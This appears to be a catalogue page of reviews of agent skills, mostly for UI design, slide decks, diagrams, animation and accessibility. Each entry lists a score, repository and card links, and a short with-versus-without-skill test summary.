- **HTML Explainer** [pass, 10/10] — Builds polished, source-grounded, playable single-page or slide-deck web explainers with a real quality loop. Repo: https://github.com/ds-vibe/html-explainer. Card: https://skillproof.dev/skills/html-explainer. What we found: Real A/B, rendered in-browser: the skill build produced a genuinely playable Doppler-shift canvas demo with color-coded compressed/stretched wavefronts, editorial serif/sans typography, and a real assemble.mjs-injected review overlay, against a baseline that was exactly the emoji-hero/gradient-text/bento-card template the skill's own anti-slop checklist warns about.
- **Frontend Design** [pass, 9.6/10] — Makes Claude's UI output look designed instead of generated. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/frontend-design. What we found: Same landing-page brief run with and without the skill: the with-skill version had a real type scale, intentional palette and none of the neon-gradient tells. Night and day.
- **WCAG 2.1 AA Web UI Audit** [pass, 9.6/10] — Deterministic WCAG 2.1 AA audit -- keyboard, contrast, zoom/reflow, forms/ARIA, status messages -- ending in a severity-rated remediation backlog. Repo: https://github.com/dvcrn/openclaw-skills-marketplace. Card: https://skillproof.dev/skills/ui-audit. What we found: Ran the bundled `run_axe_playwright.js` for real with no playwright/axe installed: it printed install guidance and exited 0 instead of crashing, exactly as documented. On a 3-line login-form snippet it produced a WCAG-SC-cited, severity-ranked findings table (password field missing a programmatic label, low-contrast submit button) instead of the loose bullet list a baseline pass gives. (Listed here under our older name; the skill's own name is "WCAG 2.1 AA Web UI Audit".)
- **Frontend Slides** [pass, 9.6/10] — Builds zero-dependency, fixed-16:9 HTML decks or converts PPTX, avoiding AI-slop defaults. Repo: https://github.com/zarazhangrui/frontend-slides. Card: https://skillproof.dev/skills/frontend-slides. What we found: Built the same pitch deck twice: the plain version fell into purple-gradient-on-white with system fonts, the guided one used a real font pairing and a scaling stage that rendered with no overflow in a live browser.
- **Preline Theme Generator** [pass, 9.6/10] — Generates full light/dark Preline CSS theme files from a hue or brand hex via a bundled local Node script. Repo: https://github.com/htmlstreamofficial/preline. Card: https://skillproof.dev/skills/preline-theme-generator. What we found: Ran the actual bundled script with zero setup and no network calls, producing a 682-line CSS file with a full OKLCH scale and dark-mode chart tokens, versus a 16-property hand-written sheet with none.
- **Algorithmic Art** [pass, 9.6/10] — Builds seeded p5.js generative art with sliders in one branded, self-contained interactive HTML file. Repo: https://github.com/ThinkInAIXYZ/deepchat. Card: https://skillproof.dev/skills/algorithmic-art. What we found: templates/viewer.html ships a fully-wired Anthropic-branded seed navigator (prev/next/random/jump, parameter sliders, PNG download) that the skill forces every sketch through, so the output is consistently richer and more reproducible than an ad-hoc p5.js sketch written from scratch.
- **AI-Firstify** [pass, 9.6/10] — Scores a project against 9 AI-first design principles across 7 dimensions, then can fix what it finds. Repo: https://github.com/techwolf-ai/ai-first-toolkit. Card: https://skillproof.dev/skills/ai-firstify. What we found: Ran a real partial audit on this very repo (Skill Agregator): baseline gave a vague paragraph, the skill-guided run flagged concrete, verifiable facts (no CLAUDE.md, no .claude/skills/ dir, but .env correctly gitignored) in the required GREEN/YELLOW/RED format its own validate-report.sh checks for.
- **Interface Polish** [pass, 9.6/10] — A concrete, checklist-driven rubric for UI polish: radius, shadows, hit areas, animation timing. Repo: https://github.com/wellwelwel/blue-spec. Card: https://skillproof.dev/skills/interface. What we found: Turned a vague 'this button feels off' review into four measurable findings (32px hit area under the 40px minimum, mismatched nested border-radius, transition-all, missing tabular-nums), each mapped to a numbered principle and dropped into the skill's own mandated before/after table.
- **GetDesign** [pass, 9.6/10] — Turns any live URL into a grounded 9-section design.md — every hex and font must trace to fetched CSS. Repo: https://github.com/MohtashamMurshid/getdesign. Card: https://skillproof.dev/skills/getdesign. What we found: Pointed it at basecamp.com for real: the ungrounded baseline confidently guessed Inter font and a #4285F4-ish blue on an 8px grid, while the skill's actual CSS fetch turned up the true custom 'Graphik'/'Sharpie' webfonts, oklch-based colors, and an em-based (not px) spacing scale — and it correctly refused to invent breakpoints the sampled stylesheets didn't contain.
- **Sprite Animation Assets** [pass, 9.6/10] — Turns a base character into a locked-identity frame set and packages it into a spritesheet + GIF. Repo: https://github.com/DwDestiny/codex-visual-asset-skills. Card: https://skillproof.dev/skills/sprite-animation-assets. What we found: Ran the bundled compose_sprite_set.py against 4 synthetic PNG frames of a walk cycle — it produced a real 256x64 transparent spritesheet atlas, a walk.gif preview, and a JSON QA report with per-frame transparency counts, exactly matching what the skill body documents.
- **Strategy Consulting Visualization** [pass, 9.6/10] — Turns raw data or prose into consulting-grade slide specs — insight headline, pattern selection, palette, and quality rubric. Repo: https://github.com/kgraph57/mckinsey-style-visualization-skill. Card: https://skillproof.dev/skills/strategy-consulting-visualization. What we found: Fed it a three-line revenue bridge and, via its own input-triage table, it correctly routed to a waterfall chart, then returned a full spec with real palette hex codes, an insight headline, and an explicitly flagged assumption — a generic ask produced only a vague 'maybe a bar chart' suggestion.
- **Design Red Team Audit** [pass, 9.6/10] — Adversarial pre-mortem that finds the most credible reasons a game/product idea fails Repo: https://github.com/Stanestane/game-design-skills-bundle. Card: https://skillproof.dev/skills/design-red-team-audit. What we found: Real A/B on a 'seasonal cosmetic battle pass for a mobile idle game' pitch: baseline gave a generic pros/cons list ending in 'seems reasonable, maybe playtest'; the skill surfaced a genre-specific mechanism the baseline missed entirely (idle games are played passively, so cosmetics may never be seen) plus a concrete instrumentation-based de-risking step. Bundle README frames it for 'OpenClaw/ClawHub workflows' but the plain-prompt SKILL.md has zero platform-specific tooling and installed and ran cleanly as a Claude skill.
- **PlantUML Diagram Skill** [pass, 9.6/10] — Generates and renders PlantUML diagrams to real PNG/SVG via the Kroki API, with a validate-and-self-correct loop. Repo: https://github.com/Agents365-ai/plantuml-skill. Card: https://skillproof.dev/skills/plantuml-skill. What we found: Ran the real render loop against the live public Kroki API: POST returned HTTP 200, a genuine 715x376 PNG landed on disk, and the vision self-check confirmed it was clean and readable — the baseline path only produces unverified .puml text with no proof it even renders.
- **Blcaptain PPT Skill** [pass, 9.6/10] — Turns an article/data point into a single-file HTML deck across 7 design-system-anchored personas, with a real P0/P1/P2 validator. Repo: https://github.com/dososo/blcaptain-ppt-skill. Card: https://skillproof.dev/skills/blcaptain-ppt-skill. What we found: Ran the bundled validator for real on both arms: a hand-built generic HTML deck for the same content failed with 9 real P0 blockers (no semantic layout roles, raw hex colors); a deck built by taking the skill's own info-data persona seed and substituting real content passed 0 P0 / 0 P1 / 0 P2 clean on the first run.
- **Algorithmic Colour Palette** [pass, 9.6/10] — Derives hover/active/tint/grey/semantic tokens from one brand hex via fixed HSL formulas. Repo: https://github.com/dembrandt/dembrandt-skills. Card: https://skillproof.dev/skills/algorithmic-color-palette. What we found: Ran the actual HSL math on brand colour #2D6A4F (H153/S40/L30) for real: skill output produced greys that are visibly green-tinted (#161d1a, #45544d, #f4f5f5) and semantic colours locked to the brand's own 40% saturation, versus the unguided baseline's stock Tailwind greys and default red/amber/green that share no hue or intensity relationship with the brand at all.
- **IFQ Design Skills** [pass, 9.6/10] — Forks verified HTML templates for decks, dashboards and landing pages with a real lint gate Repo: https://github.com/peixl/ifq-design-skills. Card: https://skillproof.dev/skills/ifq-design-skills. What we found: Ran the bundled smoke test live (16/16 checks green) and then the real verify-lite linter against a forked portfolio landing page — it correctly caught an unfilled dynamic `data-ifq-year` attribute and failed the build until fixed, a defect the hand-written baseline HTML had no mechanism to catch at all.
- **WP Accessibility Review** [pass, 9.6/10] — Severity-tagged WordPress accessibility review with ready-to-run rg scan patterns for keyboard, focus, and ARIA issues. Repo: https://github.com/jorgerosal/wordpress-skills. Card: https://skillproof.dev/skills/wp-accessibility-review. What we found: Ran the skill's own bundled rg detection patterns for real against a deliberately broken WordPress product-card template: they caught 3 click-handlers-on-non-semantic-elements, 2 unlabeled inputs, and a modal with zero ARIA/focus-management code, which the skill then turned into 7 severity-tagged findings with file:line and concrete fixes versus a vague 3-sentence baseline review.
- **Deck Critique Lite** [pass, 9.6/10] — Slide-specific pitch deck feedback, capped at 7 observations, with no numeric score. Repo: https://github.com/FluidForm-ai/fluiddocs-deck-builder. Card: https://skillproof.dev/skills/deck-critique-lite. What we found: Built a 7-slide test deck with a buried $85k-ARR traction number and undefined product jargon; the skill version caught both, stayed inside its 5 defined structural areas (correctly skipping the team slide as out of scope), and never produced the numeric score the unguided baseline slipped into despite the skill explicitly banning it.
- **UI Sound Design** [pass, 9.6/10] — Turns 'make it snappier' into working Web Audio API sound code, with a live HTML preview. Repo: https://github.com/dannyjpwilliams/ui-sound-design-skill. Card: https://skillproof.dev/skills/ui-sound-design. What we found: Followed the recipe for a 'success' sound and got a singleton-AudioContext, ascending-major-third implementation with a working WAV-export HTML preview (verified OfflineAudioContext export code); a naive baseline attempt used a fresh AudioContext per call and a flat single tone with no export path.
- **Agent Canvas** [pass, 9.6/10] — CLI-driven Excalidraw canvas for drawing flowcharts, architecture diagrams, and mockups. Repo: https://github.com/WHQ25/agent-canvas. Card: https://skillproof.dev/skills/agent-canvas. What we found: Ran the real CLI: skipping the SKILL.md's label-sizing formula made Excalidraw silently wrap a 14-char label onto two lines and reflow the box; using the formula produced the exact requested w=190 h=72 box with a clean single-line label and edge-perfect arrows, confirmed by exported PNGs.
- **TRIZ Engineering Solver** [pass, 9.6/10] — Runs Altshuller's TRIZ contradiction matrix and 40 inventive principles on real engineering trade-offs. Repo: https://github.com/Antropocosmist/triz-engineering-solver. Card: https://skillproof.dev/skills/triz-engineering-solver. What we found: Actually queried the shipped 39x39 contradiction_matrix.json for a real drone battery-vs-weight contradiction (cell 15,1) and got principles [19,5,34,31] — Merging and Discarding/Recovering produced a 'structural battery skin' and 'progressive mass-shedding' concept that generic brainstorming never reached, while the skill's own anti-compromise rule would flag the baseline's 'pick a medium battery size' answer as a rejected pattern.
- **Design Trends** [pass, 9.6/10] — 17 complete 2026 web-design styling systems with exact CSS vars, Tailwind config, and do/don'ts. Repo: https://github.com/growthaudit/claude-design-skills. Card: https://skillproof.dev/skills/design-trends. What we found: Asked it to neo-brutalize a hero section: it delivered exact, opinionated tokens (3px border, 5px/5px/0 hard shadow, Space Grotesk/DM Sans/Space Mono font trio, zero border-radius, hover/active shadow-lift recipe) plus explicit do/don't rules — a from-memory attempt without the file produced only vague 'thick border, bold colors' guesses with no concrete values.
- **Draw.io Diagrams** [pass, 9.6/10] — Generates valid, styled draw.io XML diagrams with colors, icons, and legends. Repo: https://github.com/scarr05/claude-skills-pub. Card: https://skillproof.dev/skills/drawio. What we found: Generated a real 3-tier architecture diagram: the skill's mxCell conventions (html=1, fillColor tiers, cylinder DB shape, legend) produce XML that actually renders correctly in draw.io, while a naive from-memory attempt used bare style strings (no html=1, no fill, no arrowheads) that draw.io renders as broken unstyled boxes.
- **Senior Designer** [pass, 9.6/10] — Evidence-cited senior-designer process gate that blocks AI-slop UI before code is written. Repo: https://github.com/sshahzaiib/senior-designer-skill. Card: https://skillproof.dev/skills/senior-designer. What we found: Baseline hero design landed on exactly the banned tells (indigo gradient, Inter, icon-card grid, 'Supercharge your workflow'); the skill-guided run named a non-indigo accent, cited a rationale per decision, and self-scored against the 43-item checklist before shipping.
- **Pixel-Perfect Web Replica** [pass, 9.6/10] — Mirrors a public webpage's HTML/CSS/JS/media into a byte-faithful local sandbox. Repo: https://github.com/Core-Mate/Pixel-Perfect-Web-Replica. Card: https://skillproof.dev/skills/pixel-perfect-web-replica. What we found: Ran the bundled mirror_public_page.py against a local test site with nested CSS url() assets and an <img> tag; it produced a byte-for-byte identical local replica (index.html, style.css, both PNGs matched via diff) plus resources.json/resource-inventory.json/REPLACEABLE_RESOURCES.md, versus a naive curl baseline that only grabs raw HTML with zero assets.
- **Agent Native Design** [pass, 9.6/10] — Scores a CLI on a 14-criterion rubric across seven agent-native design principles and produces a prioritized P0/P1/P2 refactor plan. Repo: https://github.com/Agents365-ai/agent-native-design. Card: https://skillproof.dev/skills/agent-native-design. What we found: Ran a real review of a toy notes-cli spec: the skill's rubric flagged two concrete defects a generic baseline review missed entirely -- an interactive-browser-only login with no delegatable-token path (Principle 7) and no idempotency key on the add command (silent duplicate notes on agent retry) -- and returned a reproducible 3/28 'not yet agent-native' score instead of a vague impression.
- **Animate Text** [pass, 9.6/10] — 24-effect text-animation catalog with exact JSON specs, translatable into GSAP, Motion, WAAPI, CSS, Lottie or Rive. Repo: https://github.com/sakuraoxo-clio/sakura-animate-text. Card: https://skillproof.dev/skills/animate-text. What we found: Actually ran the bundled scripts live: `node scripts/get-effect.mjs soft-blur-in` returned a fully specified reproduction contract (900ms/25ms-stagger per-character enter, exact cubic-bezier easing, GSAP-specific CustomEase registration and a warning against a documented double-duration bug) versus a baseline guess with arbitrary duration/easing — night-and-day difference for anyone implementing the effect for real.
- **Baseline UI** [pass, 9.6/10] — Opinionated Tailwind/React MUST-NEVER checklist against AI-generated UI slop. Repo: https://github.com/master5d/claude-design-skills. Card: https://skillproof.dev/skills/baseline-ui. What we found: Ran it against a deliberately messy Tailwind card component: the skill caught 8 rule-cited violations (purple gradient, h-screen, missing aria-label on an icon button, a 400ms width/height transition, blocked paste, unjustified tracking-widest, no AlertDialog on a destructive action) each with an exact fix, versus a generic review that only flagged 4 of them vaguely.
- **Power Design** [pass, 9.6/10] — On-brand HTML decks and landing pages against 20 codified, numeric design rules Repo: https://github.com/ItsssssJack/power-design. Card: https://skillproof.dev/skills/power-design. What we found: Task: a landing page for fictional fintech Ledgerly in Stripe brand, path B (websites) with brand from library. Ran both versions through a custom measurement script for 20 objective checks plus WCAG contrast calculation: baseline scored 1/20, SKILL.md version — 20/20. Baseline specifics: no skip-link, no semantic landmarks, no tokens in :root, no dark mode, no clamp(), no meta description/OG/JSON-LD, 14px input (mobile Safari zooms), tap targets less than 44px, placeholder instead of label — and three AA contrast failures: #777 on white 4.48:1, #999 on white 2.85:1, white on purple gradient 4.07:1. Plus baseline rolled out exactly the purple-gradient hero that the rulebook forbids as the first item. Skill version — 0 contrast failures (17.37:1 / 4.75:1 / 6.19:1), real Stripe tokens from brands/stripe/brand-style.md (#533afd, #061b31, weight 300 on display, blue-tinted shadow rgba(50,50,93,.25)). Claims from README were checked and confirmed: exactly 72 brand folders, 20+20 rules in TL;DR, all 21 images in place; but I did not check the firecrawl brand extraction path — a paid key is needed, and browser rendering is blocked in this environment, so the absence of horizontal scroll was only confirmed statically.
- **Dashmotion** [pass, 9.6/10] — Animated dark-theme flow and architecture diagrams as one self-contained HTML file Repo: https://github.com/csthink/dashmotion. Card: https://skillproof.dev/skills/dashmotion. What we found: Task: an animated CI/CD pipeline flowchart (push → build → test → gate → deploy → smoke → rollback). The baseline run without the skill — SVG was written manually, and the standard check_diagram.py found 6 real defects in it: two connectors without fill="none" (rendered as black polygons), the rollback path passed through the Test box, dashoffset -8 with dasharray 5 5 (a seam on each cycle), and a point flying past the line. With the skill: I described the semantics in JSON, layout.py --render assembled the file — check_diagram.py gave PASS, 0 violations. The engine itself unfolded the reverse edge GATE→BUILD into a ↻ annotation and built 6 chained animateMotion-points. Result — 7.7 KB, 0 external links, SVG parsed as valid XML, had prefers-reduced-motion and pauseAnimations; README claims about «a couple of KB, no dependencies» were confirmed by measurement. The first render failed with a clear validation error (the hops log required [from,to] pairs, not a list of nodes) — the script was not silent, but the format in SKILL.md's body was described less explicitly than in references.
- **Archscribe** [pass, 9.6/10] — Hand-drawn architecture diagrams: animated GIF, PNG, SVG, editable Excalidraw Repo: https://github.com/lazypay/Archscribe. Card: https://skillproof.dev/skills/archscribe. What we found: Rendered a real 8-node RAG-pipeline graph from a JSON spec: got a genuinely polished hand-drawn neon PNG, a 3.5 MB animated GIF and an editable .excalidraw file, with the retry edge correctly drawn as a dashed loop return channel and per-node semantic icons. The bundled doctor.py, --validate-only and --check gates all worked as documented, and the Pillow fallback kicked in exactly as SKILL.md promises when Playwright is absent (pip install of 2 packages was the only setup). The result beats any static SVG or Mermaid diagram producible without it in the same time; MP4/SVG/HTML formats need the optional Chromium install and were not tested.
- **Excalidraw Diagram** [pass, 9.2/10] — Generates .excalidraw JSON diagrams with an opinionated hand-drawn brand style, not generic boxes. Repo: https://github.com/walidboulanouar/Ay-Skills. Card: https://skillproof.dev/skills/excalidraw-diagram. What we found: Skill-guided output swapped generic black-on-white boxes for a full brand system in one pass: roughness-2 dotted rectangles, solid roughness-1 arrows, Virgil font, periwinkle #8182C1 accents, and semantic stroke colors per node type (agent vs. process vs. success) — the baseline JSON had none of that structure.
- **Meshy 3D Generation** [pass, 9.2/10] — Text/image-to-3D, texturing, rigging and animation via the Meshy AI API, with async polling and cost gating built in. Repo: https://github.com/meshy-dev/meshy-3d-agent. Card: https://skillproof.dev/skills/meshy-3d-generation. What we found: Its mandatory Step-0 key-detection actually ran and correctly reported NO_KEY_FOUND in this sandbox instead of letting a request crash mid-generation on a raw 401 — a real, demonstrated safeguard, plus it explicitly bans reading model_urls off the synchronous POST response (a genuine async-API footgun a naive baseline script would hit) and gates every paid call on an upfront credit-cost confirmation.
- **AI DS Composer** [pass, 9.2/10] — Reasons through design-system metadata to compose UI from existing components instead of inventing new code. Repo: https://github.com/cris-achiardi/claude-skills. Card: https://skillproof.dev/skills/ai-ds-composer. What we found: Asked for a prominent hero CTA button to /pricing: the baseline answer just emitted <Button href> with no further thought, while the skill surfaced the bundled anti-pattern ('Button for plain navigation → use Link') and then explicitly reasoned through the documented exception for primary hero CTAs before keeping Button — a decision baseline never even considered.
- **Cinematic UI** [pass, 9.2/10] — Picks a director and a specific film, then translates its visual grammar into site structure, tokens, and motion. Repo: https://github.com/akseolabs-seo/cinematic-ui. Card: https://skillproof.dev/skills/cinematic-ui. What we found: Given the same brief (a noir fraud-detection SaaS hero), a plain prompt produced the default dark-gradient-hero-plus-glass-card that every 'premium dark SaaS' request produces; following the skill instead pulled David Fincher/Se7en straight out of its 200-director table and turned 'desaturated teal, deep shadows, scan lines' into an actual evidence-board hero concept with named hex tokens and an explicit list of banned defaults.
- **Futuristic Tech Editorial PPT Skill** [pass, 9.2/10] — Editorial futuristic-tech PPT style system: exact palette, grid, and QA checklist for premium decks. Repo: https://github.com/software-ai-life/Awesome-PPT-Design-Skills. Card: https://skillproof.dev/skills/futuristic-tech-editorial-ppt-skill. What we found: Followed the skill's exact palette (#FFFFFF/#2F6BFF/#2B2B2B) and asymmetric-grid rules to redesign a cover slide: replaced a generic gradient-and-drop-shadow AI mockup with a flat, grid-aligned editorial layout that passes every item on the bundled QA checklist, something a baseline pass with no style guide did not do.
- **Dear** [pass, 9.2/10] — Turns raw material about someone into a personalized H5 page, image, or text gift. Repo: https://github.com/jiawei248/dear-skill. Card: https://skillproof.dev/skills/dear. What we found: Ran a real gift-writing A/B: the skill's anchor+return thesis step turned a generic 'congrats on the dog' card into a specific letter grounded in the recipient's actual situation, while the evidence rule kept it from inventing details the user never supplied.
- **MIDI Generation** [pass, 9.2/10] — Generates real .mid files via bundled GM-instrument scripts and music-theory reference docs, not ad hoc code. Repo: https://github.com/tubone24/midi-agent-skill. Card: https://skillproof.dev/skills/midi-generation. What we found: Generated the same I-V-vi-IV progression twice with real midiutil calls: the baseline script (skill ignored) never set a GM program change so the bass track would just sound like a second piano, while the skill run used the bundled generate_midi.py + voice-leading.md guidance to set correct bass/piano programs and cut total cross-chord voice motion from 21 to 9 semitones -- a concrete, measurable improvement, not a subjective one.
- **Stark** [pass, 9.2/10] — Multi-platform UI/UX router with real state-coverage rigor and working DTCG token export scripts. Repo: https://github.com/f0d010c/stark. Card: https://skillproof.dev/skills/stark. What we found: Ran the bundled scripts for real: token_export.py turned a sample DTCG JSON into a valid Tailwind v4 @theme CSS block, and detect_platform.py correctly classified a Win11/Mica request as windows and a Compose Material 3 request as android. The UX route produced a 7-state coverage matrix and a named activation-onboarding pattern (with its specific drop-off failure mode) that a plain baseline answer never included.
- **Design System Quality** [pass, 9.2/10] — Checklist-driven design-token and a11y review for UI/frontend PRs. Repo: https://github.com/opensesh/DESIGN-OPS. Card: https://skillproof.dev/skills/design-system-quality. What we found: Ran the skill's own hardcoded-color and forbidden-class grep commands against a throwaway ProductCard.tsx and both caught real violations (#191919 inline color, bg-white/bg-black/text-white); the skill then organizes findings into a severity-ranked checklist with exact CSS-variable replacements a generic review wouldn't produce.
- **Theme Factory Add-On** [pass, 9.2/10] — 100 curated color/font themes (brands, painters, directors, editor palettes) in theme-factory's exact file format. Repo: https://github.com/patrickkrebs/theme-factory-addon. Card: https://skillproof.dev/skills/theme-factory-addon. What we found: Asked for a 'luxury theme' it returns Gilded Age (Stone/Champagne/Gold/Bronze/Oxblood, Bodoni Moda + Montserrat) instead of the generic black-and-gold-Playfair look an unguided baseline defaults to; the bundled generator script was rerun and reproduced all 100 theme files byte-for-byte, confirming the 'source of truth' claim is real.
- **Video Production** [pass, 9.2/10] — Structured pipeline for narrated videos: job workspace, TTS voiceover, Manim/ffmpeg render, QC, and archival. Repo: https://github.com/Aaryan-Kapoor/video-production-skill. Card: https://skillproof.dev/skills/video-production. What we found: Ran the real pipeline end to end in a throwaway VIDEO_PRODUCTION_ROOT: init_video_job.py created the job/manifest/symlink exactly as documented, synth_kokoro.py --check failed cleanly with the documented install-fallback message (Kokoro not installed), and the ffmpeg mux + ffprobe verify + archive_video.py steps all worked verbatim from the SKILL.md commands, copying the final MP4 into both exports/ and a dated backups/ folder.
- **Illustration Production** [pass, 9.2/10] — Controlled illustration/prompt pipeline: style lanes, reference roles, review gate for OpenAI Image 2.0. Repo: https://github.com/erafat/skills. Card: https://skillproof.dev/skills/illustration-production. What we found: Turns 'make me a cover image prompt' into a structured pipeline: pick one named style lane, label every reference by role (style/character/palette/negative), keep important text out of the artwork, and report a review checklist -- where an unguided prompt just strings together adjectives like 'futuristic, 4k, highly detailed'.
- **Design Feel Like Your Own Product** [pass, 9.2/10] — Learns a designer's Figma "signature moves" so new components feel self-made, not copy-pasted. Repo: https://github.com/Tiannanzhao/design-feel-like-your-own-product. Card: https://skillproof.dev/skills/design-feel-like-your-own-product. What we found: Ran the mini-task in the skill's own documented Figma-MCP-unavailable fallback mode: given only pasted design-system specs it derived a two-tier radius rule (6px interactive / 8px surface) and reused the same teal hex for both the primary button and the 'active' status pill instead of inventing a fresh color, concretely more grounded than a generic-SaaS baseline modal. Single-file, self-contained skill; license is CC BY-NC 4.0 non-commercial, disclosed up front in the README, not hidden.
- **Back Of The Envelope** [pass, 9.2/10] — Turns "high traffic" into QPS, storage, bandwidth and server-count numbers, with a script to check the math. Repo: https://github.com/proyecto26/system-design-skills. Card: https://skillproof.dev/skills/back-of-the-envelope. What we found: Ran the bundled botec.py on a 50M-DAU photo-app scenario: it produced peak QPS, TB/day storage, PB total, and 1.2GB/s bandwidth with labeled peak factor and units, where an unaided baseline only got avg QPS and total storage — genuinely more complete. Own test_botec.py golden-fixture check passed live. Minor flaw: server-count rounds to "0" instead of "1" for light workloads.
- **CSS Animation** [pass, 9.2/10] — Generates self-contained HTML/CSS feature-demo and carousel walkthrough animations. Repo: https://github.com/neonwatty/css-animation-skill. Card: https://skillproof.dev/skills/css-animation. What we found: Built the same 'mark task complete' animation twice and rendered both live in a browser: the skill's mandatory rules (class-toggling-only JS, hidden-element opacity+visibility pairing, spring easing, a design-language token pass) produced a checkmark/badge/cursor polish layer the baseline (inline-style JS, no tokens, linear fade) plainly lacked — a concrete, screenshotted difference, not just a claim.
- **Manim Video** [pass, 9.2/10] — Docker-based Manim pipeline for 3Blue1Brown-style explainer videos and algorithm animations. Repo: https://github.com/ApliroAI/manim-video-lab. Card: https://skillproof.dev/skills/manim-video. What we found: The algorithm-choreography reference turns a bare swap loop into a real compare/verdict/swap-with-travel choreography with a growing 'sorted' region and subcaptions — a legitimately better explainer scene than a naive baseline, though actual rendering needs Docker which wasn't available to verify end-to-end.
- **shadcn Component Discovery** [pass, 9.2/10] — Searches the whole shadcn-compatible registry ecosystem before you hand-build a UI component. Repo: https://github.com/mattbx/shadcn-skills. Card: https://skillproof.dev/skills/shadcn-component-discovery. What we found: Asked for an animated particle/spotlight hero section: the unguided baseline named two registries from memory with no install path, while the skill's curated catalog (references/registries.md) returned four correctly-scoped registries (Aceternity, Magic UI, Cult UI, Tailark) plus the exact components.json URL-template snippet needed to actually wire one in.
- **Creating Figures** [pass, 9.2/10] — Grayscale TikZ block-diagram design system with a mandatory render-and-inspect loop for academic figures Repo: https://github.com/isomoes/skills. Card: https://skillproof.dev/skills/creating-figures. What we found: Compiled a real feedback-loop block diagram both ways (installed tectonic for real) and rendered both to PNG with pdftoppm exactly as the skill's own verification workflow prescribes: the unguided baseline came out in garish default TikZ colors with an unlabeled curved arrow crossing the diagram, the skill version came out grayscale, print-safe, orthogonally routed, with a labeled feedback edge and a grouped subsystem box - a real, visible difference in publication readiness, not a subjective call.
- **GPT Image 2 API** [pass, 9.2/10] — Generate/edit images via any OpenAI-compatible gpt-image-2 endpoint, .env-configured. Repo: https://github.com/BenedictKing/benedictking-skills. Card: https://skillproof.dev/skills/gpt-image-2-api. What we found: Ran the real 600-line script against a local mock OpenAI-compatible server: generation worked end-to-end (valid PNG saved), and an edit call correctly hit /images/edits with multipart form data and surfaced the mock's 404 verbatim, exactly as the docs promise ('report API errors exactly'). A naive from-scratch baseline only covers plain generation — no edit/mask/protocol-fallback/.env support.
- **Flowi** [pass, 9.2/10] — Writes JSON flowcharts Claude and the user can co-edit live in a local browser viewer. Repo: https://github.com/aiaiohhh/claude-skills-library. Card: https://skillproof.dev/skills/flowi. What we found: Ran the bundled server for real on a written auth-flow JSON: it rendered a correctly color-coded, draggable SVG flowchart (green start pill, amber decision diamond, purple IO parallelogram) matching the schema exactly — a real, working visual planning tool, not vaporware.
- **AI Loading UX** [pass, 9.2/10] — A pattern library for AI thinking/progress/streaming indicators, with a real decision framework, not just a mood board. Repo: https://github.com/rohunvora/cool-claude-skills. Card: https://skillproof.dev/skills/ai-loading-ux. What we found: Ran a real baseline-vs-skill design pass for a 3-step research-agent loading state: the skill-guided version correctly classified the task via its own decision framework (Progress Steps, not Reasoning Display), picked the Vertical List layout its reference file names for 3-7 steps, and added an aria-live/role=progressbar accessibility spec and failure-recovery edge case the freeform baseline never considered.
- **Build Your Own Component Library** [pass, 9.2/10] — Generates a 24-component, token-driven React or Vanilla-JS UI library plus a live side-by-side comparison page. Repo: https://github.com/ethankongee/build-your-own-component. Card: https://skillproof.dev/skills/build-your-own-component. What we found: Built a representative Vanilla-JS subset (Box, Text, Icon, Button, Card, Overlay, Modal) live in a browser: themed variants, loading/disabled states, and a working Modal open/close all rendered correctly off one theme.js token file - clearly more systematic than an ad-hoc baseline. Caught a real bug in the skill's own reference docs: component-specs.md documents Box props (display, flexDirection, alignItems, justifyContent, gap) that the literal Box() boilerplate in vanilla-templates.md never applies to el.style, so following that template verbatim silently breaks flex layouts until you notice and patch it.
- **Academic Figures** [pass, 9.2/10] — Generates journal-formatted, Inkscape-editable SVG figure variants with enforced arrow/label spacing rules. Repo: https://github.com/sai-tv/academic-figures. Card: https://skillproof.dev/skills/academic-figures. What we found: Actually implemented the skill's own Python SVG helper functions for a 3-panel battery-coating figure: the arrow gaps landed exactly at the required 18mm minimum and panel labels sat 2.5mm clear of the content border by formula, while a naive baseline SVG (same task, ignoring the skill) had 20px arrows and labels crowding right against the panel edge.
- **Motiscope Analyze** [pass, 9.2/10] — Measures an animation's real timing and easing from a screen recording into a recreation spec Repo: https://github.com/KumarSashank/motiscope. Card: https://skillproof.dev/skills/motiscope-analyze. What we found: Task: recover an animation's timing/easing from a screen recording and emit a recreation spec. I generated a synthetic clip with known ground truth (a square sliding up and fading in over exactly 500ms with ease-out-cubic easing, bracketed by 500ms holds) and ran the bundled pipeline on it. It recovered the hold/move/hold structure exactly, classified the easing as ease-out, got the direction bottom-to-top, and measured the move at 600ms versus the true 500ms; the curated PNG keyframes correctly showed the square mid-fade then opaque and higher. A no-skill baseline eyeballing frames has no time axis and cannot fit a duration or bezier at all, so the measured numbers are a genuine, verifiable delta. The 20% long move duration is the ease-out sub-pixel tail, a limitation the skill itself documents.
- **App Onboarding Questionnaire** [pass, 9.2/10] — Designs and builds a 14-screen high-converting subscription-app onboarding flow Repo: https://github.com/adamlyttleapps/claude-skill-app-onboarding-questionnaire. Card: https://skillproof.dev/skills/app-onboarding-questionnaire. What we found: Asked to design onboarding for a meal-planning app both with and without the skill: the baseline gave four generic screens, while the skill produced a 14-screen psychologically sequenced funnel (goal question, pain points, tinder-card amplification, permission priming, interactive app demo, viral moment, paywall) each with concrete headline patterns. The frameworks are specific and actionable, not filler. SKILL.md is a single self-contained prompt with no bundled scripts, so nothing to break at install. Documentation claims match the delivered flow exactly.
- **Sprite Gen** [pass, 9.2/10] — Turn AI row strips into clean 2D sprite atlases with a runtime manifest Repo: https://github.com/aldegad/sprite-gen. Card: https://skillproof.dev/skills/sprite-gen. What we found: Ran the deterministic pipeline live: an irregular magenta-chroma raw strip went through extract + compose and it separated four poses by connected components, re-centered every frame to the same centroid (0.0px spread vs 16px for a naive fixed-grid slice), and emitted a valid 1024x1024 RGBA atlas plus a frame_layout manifest with zero chroma leakage. The single AI generation step needs codex/grok OAuth binaries that weren't available, so image-gen quality is unmeasured, but the distinctive deterministic chroma-to-component-to-centered-cell-to-atlas core clearly beat the baseline. Install runs verbatim from a bare HOME and every spot-checked script and doc exists.
